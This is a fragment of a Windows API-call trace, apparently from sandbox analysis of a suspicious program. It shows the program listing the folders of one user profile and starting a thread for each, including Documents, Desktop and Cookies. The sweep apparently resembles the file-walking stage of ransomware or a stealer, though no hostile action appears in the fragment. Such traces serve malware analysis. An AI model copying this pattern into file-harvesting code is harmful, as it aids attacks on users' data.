	[0074.974] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70840) returned 1

Thread:
	id = 157
	os_tid = 0x1384

	[0074.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77f00
	[0074.425] wcscpy (in: _Dest=0x2d77f00, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.425] wcscat (in: _Dest=0x2d77f00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.425] wcscat (in: _Dest=0x2d77f00, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\*") returned="C:\\Users\\FD1HVy\\*"
	[0074.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88820
	[0074.425] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\*", lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70640
	[0074.425] wcscmp (_String1=".", _String2=".") returned 0
	[0074.425] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.425] wcscmp (_String1="..", _String2=".") returned 1
	[0074.425] wcscmp (_String1="..", _String2="..") returned 0
	[0074.425] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0074.425] wcscmp (_String1="AppData", _String2=".") returned 1
	[0074.425] wcscmp (_String1="AppData", _String2="..") returned 1
	[0074.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2e3a150
	[0074.425] wcscpy (in: _Dest=0x2e3a150, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.425] wcscat (in: _Dest=0x2e3a150, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.425] wcscat (in: _Dest=0x2e3a150, _Source="AppData" | out: _Dest="C:\\Users\\FD1HVy\\AppData") returned="C:\\Users\\FD1HVy\\AppData"
	[0074.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0074.426] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0074.426] wcscmp (_String1="Application Data", _String2=".") returned 1
	[0074.426] wcscmp (_String1="Application Data", _String2="..") returned 1
	[0074.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d8b300
	[0074.426] wcscpy (in: _Dest=0x2d8b300, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.426] wcscat (in: _Dest=0x2d8b300, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.426] wcscat (in: _Dest=0x2d8b300, _Source="Application Data" | out: _Dest="C:\\Users\\FD1HVy\\Application Data") returned="C:\\Users\\FD1HVy\\Application Data"
	[0074.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0074.427] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0074.427] wcscmp (_String1="Contacts", _String2=".") returned 1
	[0074.427] wcscmp (_String1="Contacts", _String2="..") returned 1
	[0074.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70a80
	[0074.427] wcscpy (in: _Dest=0x2d70a80, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.427] wcscat (in: _Dest=0x2d70a80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.427] wcscat (in: _Dest=0x2d70a80, _Source="Contacts" | out: _Dest="C:\\Users\\FD1HVy\\Contacts") returned="C:\\Users\\FD1HVy\\Contacts"
	[0074.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0074.428] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0074.428] wcscmp (_String1="Cookies", _String2=".") returned 1
	[0074.428] wcscmp (_String1="Cookies", _String2="..") returned 1
	[0074.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2e3a1f8
	[0074.428] wcscpy (in: _Dest=0x2e3a1f8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.428] wcscat (in: _Dest=0x2e3a1f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.428] wcscat (in: _Dest=0x2e3a1f8, _Source="Cookies" | out: _Dest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies"
	[0074.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0074.429] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x850e9e56, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x850e9e56, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0074.429] wcscmp (_String1="Desktop", _String2=".") returned 1
	[0074.429] wcscmp (_String1="Desktop", _String2="..") returned 1
	[0074.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2e3a310
	[0074.429] wcscpy (in: _Dest=0x2e3a310, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.429] wcscat (in: _Dest=0x2e3a310, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.429] wcscat (in: _Dest=0x2e3a310, _Source="Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop"
	[0074.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0074.430] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39c7de02, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39c7de02, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0074.430] wcscmp (_String1="Documents", _String2=".") returned 1
	[0074.430] wcscmp (_String1="Documents", _String2="..") returned 1
	[0074.430] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70740
	[0074.430] wcscpy (in: _Dest=0x2d70740, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.430] wcscat (in: _Dest=0x2d70740, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.430] wcscat (in: _Dest=0x2d70740, _Source="Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents"
	[0074.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0074.431] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0074.431] wcscmp (_String1="Downloads", _String2=".") returned 1
	[0074.431] wcscmp (_String1="Downloads", _String2="..") returned 1
	[0074.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c80
	[0074.431] wcscpy (in: _Dest=0x2d70c80, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.431] wcscat (in: _Dest=0x2d70c80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.431] wcscat (in: _Dest=0x2d70c80, _Source="Downloads" | out: _Dest="C:\\Users\\FD1HVy\\Downloads") returned="C:\\Users\\FD1HVy\\Downloads"
	[0074.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0074.431] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0074.431] wcscmp (_String1="Favorites", _String2=".") returned 1
	[0074.431] wcscmp (_String1="Favorites", _String2="..") returned 1
	[0074.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70b80
	[0074.432] wcscpy (in: _Dest=0x2d70b80, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.432] wcscat (in: _Dest=0x2d70b80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.432] wcscat (in: _Dest=0x2d70b80, _Source="Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites"
	[0074.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0074.432] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0074.432] wcscmp (_String1="Links", _String2=".") returned 1
	[0074.432] wcscmp (_String1="Links", _String2="..") returned 1
	[0074.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2e3a0a8
	[0074.432] wcscpy (in: _Dest=0x2e3a0a8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.432] wcscat (in: _Dest=0x2e3a0a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.432] wcscat (in: _Dest=0x2e3a0a8, _Source="Links" | out: _Dest="C:\\Users\\FD1HVy\\Links") returned="C:\\Users\\FD1HVy\\Links"
	[0074.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a0a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0074.433] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0074.433] wcscmp (_String1="Local Settings", _String2=".") returned 1
	[0074.433] wcscmp (_String1="Local Settings", _String2="..") returned 1
	[0074.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73e88
	[0074.433] wcscpy (in: _Dest=0x2d73e88, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.433] wcscat (in: _Dest=0x2d73e88, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.433] wcscat (in: _Dest=0x2d73e88, _Source="Local Settings" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings") returned="C:\\Users\\FD1HVy\\Local Settings"
	[0074.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73e88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0074.434] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39cca1bb, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39cca1bb, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0074.434] wcscmp (_String1="Music", _String2=".") returned 1
	[0074.434] wcscmp (_String1="Music", _String2="..") returned 1
	[0074.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2e3a5b0
	[0074.434] wcscpy (in: _Dest=0x2e3a5b0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.434] wcscat (in: _Dest=0x2e3a5b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.434] wcscat (in: _Dest=0x2e3a5b0, _Source="Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music"
	[0074.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0074.435] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0074.435] wcscmp (_String1="My Documents", _String2=".") returned 1
	[0074.435] wcscmp (_String1="My Documents", _String2="..") returned 1
	[0074.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73ed0
	[0074.435] wcscpy (in: _Dest=0x2d73ed0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.435] wcscat (in: _Dest=0x2d73ed0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.435] wcscat (in: _Dest=0x2d73ed0, _Source="My Documents" | out: _Dest="C:\\Users\\FD1HVy\\My Documents") returned="C:\\Users\\FD1HVy\\My Documents"
	[0074.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0074.436] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0074.436] wcscmp (_String1="NetHood", _String2=".") returned 1
	[0074.436] wcscmp (_String1="NetHood", _String2="..") returned 1
	[0074.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2e3a070
	[0074.436] wcscpy (in: _Dest=0x2e3a070, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.436] wcscat (in: _Dest=0x2e3a070, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.436] wcscat (in: _Dest=0x2e3a070, _Source="NetHood" | out: _Dest="C:\\Users\\FD1HVy\\NetHood") returned="C:\\Users\\FD1HVy\\NetHood"
	[0074.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd21a84e3, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd21a84e3, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xbd400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0074.437] wcscmp (_String1="ntuser.dat.LOG1", _String2=".") returned 1
	[0074.437] wcscmp (_String1="ntuser.dat.LOG1", _String2="..") returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
	[0074.437] wcscmp (_String1="ntuser.dat.LOG2", _String2=".") returned 1
	[0074.437] wcscmp (_String1="ntuser.dat.LOG2", _String2="..") returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2=".") returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", _String2="..") returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1
	[0074.437] wcscmp (_String1="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
	[0074.437] wcscmp (_String1="ntuser.ini", _String2=".") returned 1
	[0074.437] wcscmp (_String1="ntuser.ini", _String2="..") returned 1
